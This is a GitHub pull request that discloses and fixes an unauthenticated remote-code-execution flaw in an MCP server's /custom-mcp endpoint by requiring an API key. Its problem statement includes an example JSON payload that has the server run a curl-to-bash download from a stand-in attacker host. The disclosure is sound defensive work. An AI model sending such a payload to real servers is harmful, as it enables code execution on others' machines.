fix: require API key auth for /custom-mcp endpoint to prevent unauthenticated RCE#206
Open
Joshua-Medvinsky wants to merge 1 commit into
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
The
/custom-mcpPOST endpoint on the MCP server allows any unauthenticated caller to mount arbitrary MCP server proxies. When a stdio-type config is provided, the server spawns the specified command as a subprocess — enabling remote code execution without authentication.An attacker can POST
{"mcpServers": {"pwn": {"command": "bash", "args": ["-c", "curl attacker.com|bash"], "type": "stdio"}}}to achieve RCE on the MCP server host.Severity: Critical (CVSS 10.0) — unauthenticated network attacker → host code execution
Fix
Require an API key (
X-API-Keyheader orapi_keyquery param) matching theMCP_API_KEYenvironment variable. If the env var is not set or the key doesn't match, return 401.Test Plan
MCP_API_KEY=testkeyenv var/custom-mcpwithout API key → expect 401/custom-mcpwith correctX-API-Keyheader → expect 200/custom-mcpwith wrong API key → expect 401Security Note
This is a critical-severity unauthenticated RCE vulnerability. The fix adds authentication to the endpoint. No private vulnerability reporting is enabled on this repo, so this PR is the disclosure channel.